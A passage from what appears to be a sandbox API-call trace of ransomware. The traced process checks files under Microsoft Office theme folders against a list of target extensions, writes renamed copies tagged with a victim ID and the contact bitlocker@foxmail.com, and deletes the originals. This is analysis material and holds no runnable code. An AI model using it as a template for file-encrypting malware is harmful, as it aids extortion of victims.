Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.309] lstrlenW (lpString=".dbf") returned 4 [0054.309] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.310] lstrlenW (lpString=".1cd") returned 4 [0054.310] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG") returned 74 [0054.310] lstrlenW (lpString=".jpg") returned 4 [0054.310] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.310] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.310] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.310] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=937) returned 1 [0054.310] CloseHandle (hObject=0x20c) returned 1 [0054.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 0x20 [0054.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.310] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.310] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.311] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.312] GetLastError () returned 0x0 [0054.312] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x3a9, lpOverlapped=0x0) returned 1 [0054.313] WriteFile (in: hFile=0x180, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x3b0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0054.314] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.314] WriteFile (in: hFile=0x180, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0054.314] SetEndOfFile (hFile=0x180) returned 1 [0054.314] CloseHandle (hObject=0x180) returned 1 [0054.315] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.315] SetEndOfFile (hFile=0x20c) returned 1 [0054.315] CloseHandle (hObject=0x20c) returned 1 [0054.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.316] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0054.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.316] lstrlenW (lpString=".doc") returned 4 [0054.316] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.316] lstrlenW (lpString=".docx") returned 5 [0054.316] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.316] lstrlenW (lpString=".pdf") returned 4 [0054.316] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.316] lstrlenW (lpString=".xls") returned 4 [0054.316] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.316] lstrlenW (lpString=".xlsx") returned 5 [0054.316] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.316] lstrlenW (lpString=".ppt") returned 4 [0054.316] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.316] lstrlenW (lpString=".zip") returned 4 [0054.316] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.316] lstrlenW (lpString=".rar") returned 4 [0054.316] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.316] lstrlenW (lpString=".bz2") returned 4 [0054.316] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.316] lstrlenW (lpString=".7z") returned 3 [0054.316] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.316] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.316] lstrlenW (lpString=".dbf") returned 4 [0054.316] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.317] lstrlenW (lpString=".1cd") returned 4 [0054.317] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.317] lstrlenW (lpString=".jpg") returned 4 [0054.317] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.317] lstrlenW (lpString=".doc") returned 4 [0054.317] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0054.317] lstrlenW (lpString=".docx") returned 5 [0054.317] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0054.317] lstrlenW (lpString=".pdf") returned 4 [0054.317] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0054.317] lstrlenW (lpString=".xls") returned 4 [0054.317] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0054.317] lstrlenW (lpString=".xlsx") returned 5 [0054.317] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0054.317] lstrlenW (lpString=".ppt") returned 4 [0054.317] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0054.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.317] lstrlenW (lpString=".zip") returned 4 [0054.317] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0054.317] lstrlenW (lpString=".rar") returned 4 [0054.317] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0054.317] lstrlenW (lpString=".bz2") returned 4 [0054.317] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0054.317] lstrlenW (lpString=".7z") returned 3 [0054.317] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0054.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.317] lstrlenW (lpString=".dbf") returned 4 [0054.317] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0054.317] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.317] lstrlenW (lpString=".1cd") returned 4 [0054.317] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0054.318] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0054.318] lstrlenW (lpString=".jpg") returned 4 [0054.318] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0054.318] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0054.318] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0054.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.318] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=29305) returned 1 [0054.318] CloseHandle (hObject=0x20c) returned 1 [0054.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0054.318] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0054.318] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.318] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0054.319] GetLastError () returned 0x0 [0054.319] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x7279, lpOverlapped=0x0) returned 1 [0054.321] WriteFile (in: hFile=0x180, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x7280, lpOverlapped=0x0) returned 1 [0054.322] ReadFile (in: hFile=0x20c, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0054.322] WriteFile (in: hFile=0x180, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0054.322] SetEndOfFile (hFile=0x180) returned 1 [0054.323] CloseHandle (hObject=0x180) returned 1 [0054.323] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.323] SetEndOfFile (hFile=0x20c) returned 1 [0054.324] CloseHandle (hObject=0x20c) returned 1 [0054.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0054.324] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0054.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.324] lstrlenW (lpString=".doc") returned 4 [0054.324] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.324] lstrlenW (lpString=".docx") returned 5 [0054.324] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.324] lstrlenW (lpString=".pdf") returned 4 [0054.324] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.325] lstrlenW (lpString=".xls") returned 4 [0054.325] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.325] lstrlenW (lpString=".xlsx") returned 5 [0054.325] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.325] lstrlenW (lpString=".ppt") returned 4 [0054.325] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.325] lstrlenW (lpString=".zip") returned 4 [0054.325] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.325] lstrlenW (lpString=".rar") returned 4 [0054.325] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.325] lstrlenW (lpString=".bz2") returned 4 [0054.325] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.325] lstrlenW (lpString=".7z") returned 3 [0054.325] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.325] lstrlenW (lpString=".dbf") returned 4 [0054.325] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.325] lstrlenW (lpString=".1cd") returned 4 [0054.325] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.325] lstrlenW (lpString=".jpg") returned 4 [0054.325] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.325] lstrlenW (lpString=".doc") returned 4 [0054.325] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0054.325] lstrlenW (lpString=".docx") returned 5 [0054.325] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0054.325] lstrlenW (lpString=".pdf") returned 4 [0054.325] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0054.325] lstrlenW (lpString=".xls") returned 4 [0054.325] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0054.325] lstrlenW (lpString=".xlsx") returned 5 [0054.325] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0054.326] lstrlenW (lpString=".ppt") returned 4 [0054.326] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0054.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.326] lstrlenW (lpString=".zip") returned 4 [0054.326] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0054.326] lstrlenW (lpString=".rar") returned 4 [0054.326] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0054.326] lstrlenW (lpString=".bz2") returned 4 [0054.326] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0054.326] lstrlenW (lpString=".7z") returned 3 [0054.326] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0054.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.326] lstrlenW (lpString=".dbf") returned 4 [0054.326] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0054.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.326] lstrlenW (lpString=".1cd") returned 4 [0054.326] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0054.326] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0054.326] lstrlenW (lpString=".jpg") returned 4 [0054.326] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0054.326] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0054.326] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0054.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.879] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=1009) returned 1 [0054.879] CloseHandle (hObject=0x1dc) returned 1 [0054.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 0x20 [0054.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0054.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0054.879] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.879] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0054.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0055.338] GetLastError () returned 0x0 [0055.338] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x3f1, lpOverlapped=0x0) returned 1 [0055.340] WriteFile (in: hFile=0x1e0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x400, lpOverlapped=0x0) returned 1 [0055.341] ReadFile (in: hFile=0x1dc, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.341] WriteFile (in: hFile=0x1e0, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xea, lpOverlapped=0x0) returned 1 [0055.341] SetEndOfFile (hFile=0x1e0) returned 1 [0055.341] CloseHandle (hObject=0x1e0) returned 1 [0055.341] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.341] SetEndOfFile (hFile=0x1dc) returned 1 [0055.342] CloseHandle (hObject=0x1dc) returned 1 [0055.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.342] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif")) returned 1 [0055.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.342] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.342] lstrlenW (lpString=".doc") returned 4 [0055.342] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.342] lstrlenW (lpString=".docx") returned 5 [0055.342] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.342] lstrlenW (lpString=".pdf") returned 4 [0055.342] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.342] lstrlenW (lpString=".xls") returned 4 [0055.342] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.342] lstrlenW (lpString=".xlsx") returned 5 [0055.342] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.343] lstrlenW (lpString=".ppt") returned 4 [0055.343] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.343] lstrlenW (lpString=".zip") returned 4 [0055.343] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.343] lstrlenW (lpString=".rar") returned 4 [0055.343] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.343] lstrlenW (lpString=".bz2") returned 4 [0055.343] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.343] lstrlenW (lpString=".7z") returned 3 [0055.343] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.343] lstrlenW (lpString=".dbf") returned 4 [0055.343] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.343] lstrlenW (lpString=".1cd") returned 4 [0055.343] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.343] lstrlenW (lpString=".jpg") returned 4 [0055.343] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.343] lstrlenW (lpString=".doc") returned 4 [0055.343] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0055.343] lstrlenW (lpString=".docx") returned 5 [0055.343] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0055.343] lstrlenW (lpString=".pdf") returned 4 [0055.343] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0055.343] lstrlenW (lpString=".xls") returned 4 [0055.343] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0055.343] lstrlenW (lpString=".xlsx") returned 5 [0055.343] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0055.343] lstrlenW (lpString=".ppt") returned 4 [0055.343] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0055.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.344] lstrlenW (lpString=".zip") returned 4 [0055.344] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0055.344] lstrlenW (lpString=".rar") returned 4 [0055.344] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0055.344] lstrlenW (lpString=".bz2") returned 4 [0055.344] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0055.344] lstrlenW (lpString=".7z") returned 3 [0055.344] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0055.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.344] lstrlenW (lpString=".dbf") returned 4 [0055.344] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0055.344] lstrlenW (lpString="C:\\Program Files\\Common 